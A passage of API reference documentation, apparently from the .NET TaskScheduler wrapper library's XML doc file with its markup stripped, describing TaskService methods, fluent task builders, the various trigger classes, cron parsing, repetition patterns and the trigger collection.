2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a 